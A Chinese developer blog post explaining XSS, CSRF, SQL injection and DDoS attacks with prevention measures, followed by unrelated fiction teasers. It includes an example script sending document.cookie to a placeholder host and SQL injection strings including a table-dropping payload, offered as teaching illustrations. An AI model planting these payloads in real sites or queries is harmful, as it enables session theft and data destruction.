🕷️常见WEB攻击与防御

img

作为一个web开发者,web安全是需要了解的,web攻击是针对用户上网行为或网站服务器等设备进行攻击的行为,如植入恶意代码,修改网站权限,获取网站用户隐私信息等等。从互联网诞生起,网络安全威胁就一直伴随着网站的发展,各种web攻击和信息泄露也从未停止。本文介绍常见web攻击方式及预防措施。

  • XSS(跨站脚本攻击)
  • CSRF(跨站请求伪造)
  • SQL注入
  • DDOS

XSS

跨站脚本攻击指攻击者在网页中嵌入恶意脚本,当用户打开网页时,恶意脚本开始执行,盗取用户cookie,用户名密码等信息

比如在一个发布内容系统中,攻击者在内容中嵌入类似的代码<script>window.open('www.xxx.com?param=' + document.cookie)</script>,当用户访问这个页面的时候,就会执行恶意代码,该用户的cookie就会被发送到攻击者的服务器。

预防措施:

  • 将重要的cookies标记为http only,这样JavaScript中的document.cookie语句就不能获取到cookie了;
  • 只允许用户输入我们期望的数据,如年龄的textbox中只允许输入数字,其余过滤;
  • 对数据进行Html Encode处理,如<转化为&lt;、&转化为&amp;
  • 过滤或移除特殊的Html标签,如:script、iframe;
  • 过滤JavaScript事件的标签,如“onclick=”、“onfocus”等。

CSRF

跨站请求伪造指通过盗用用户信息以用户的名义向第三方网站发起恶意请求,盗取账号,转账,发送信息,删除数据等

用户登录信任站点A -> 未退出访问恶意站点B -> 从站点B发起访问站点A的恶意请求
[图片上传失败...(image-2f3e56-1651388977424)]
预防措施:

  • Cookie设置HttpOnly,JS就无法读取到cookie中的信息,避免攻击者伪造cookie的情况出现。
  • 不使用cookie验证,改token方式验证
  • 通过referer识别,验证页面是否是信任站点

SQL注入

SQL注入攻击是指把SQL语句伪装成正常的http请求,欺骗服务器执行恶意的SQL语句,达到入侵目的。

  • ' or '1'= '1。这是最常见的sql注入攻击,当我们输入用户名 jiajun ,然后密码输入'or '1'= '1的时候,我们在查询用户名和密码是否正确的时候,本来要执行的是select * from user where username='' and password='',经过参数拼接后,会执行sql语句 select * from user where username='jaijun' and password=' ' or ' 1'='1 ',这个时候1=1是成立,自然就跳过验证了。
  • 但是如果再严重一点,密码输入的是';drop table user;--,那么sql命令为select * from user where username='jiajun' and password='';drop table user;--' 这个时候我们就直接把这个表给删除了

预防措施:

  • 对进入数据库的特殊字符('"\尖括号&*;等)进行转义处理,或编码转换。
  • 在应用发布之前建议使用专业的SQL注入检测工具进行检测,以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具,例如sqlmap、SQLninja等
  • 避免网站打印出SQL错误信息,比如类型错误、字段不匹配等,把代码里的SQL语句暴露出来,以防止攻击者利用这些错误信息进行SQL注入。

DDOS

分布式服务攻击,借助公共网络,将数量庞大的计算器设备(肉鸡)联合起来,对一个或多个目标发动攻击,从而达到瘫痪目标主机的目的。

  • SYN Flood ,简单说一下tcp三次握手,客户端先服务器发出请求,请求建立连接,然后服务器返回一个报文,表明请求以被接受,然后客户端也会返回一个报文,最后建立连接。那么如果有这么一种情况,攻击者伪造ip地址,发出报文给服务器请求连接,这个时候服务器接收到了,根据tcp三次握手的规则,服务器也要回应一个报文,可是这个ip是伪造的,报文回应给谁呢,第二次握手出现错误,第三次自然也就不能顺利进行了,这个时候服务器收不到第三次握手时客户端发出的报文,又再重复第二次握手的操作。如果攻击者伪造了大量的ip地址并发出请求,这个时候服务器将维护一个非常大的半连接等待列表,占用了大量的资源,最后服务器瘫痪
  • CC攻击,在应用层http协议上发起攻击,模拟正常用户发送大量请求直到该网站拒绝服务为止。
  • DNS query flood 攻击者伪造大量无效域名,发送给目标服务器解析,这些域名均为无效域名,导致DNS服务器耗用大量资源去处理这些无效域名,造成DNS解析域名超时,达到攻击目的。

预防措施:

  • 增加带宽,但是带宽非常昂贵
  • 异常流量的清洗过滤
  • 过滤不必要的服务和端口
  • 高防智能DNS解析
  • 部署CDN

总结

以上只是列举了常见的web攻击方式,都是比较常见的web安全话题,以及一些防范方案实际开发过程中还会遇到很多安全问题,对于这些问题,我们都不可忽视,服务器上任何一个应用的漏洞都有可能是黑客攻陷服务器的突破口。除上述常见的几种方式,还有很多web安全话题,有兴趣的同学可以继续研究。

专注前端开发,分享前端相关技术干货,公众号:南城大前端(ID: nanchengfe)

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 219,539评论 6 508
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,594评论 3 396
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 165,871评论 0 356
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,963评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,984评论 6 393
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,763评论 1 307
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,468评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,357评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,850评论 1 317
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,002评论 3 338
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,144评论 1 351
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,823评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,483评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,026评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,150评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,415评论 3 373
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,092评论 2 355

推荐阅读更多精彩内容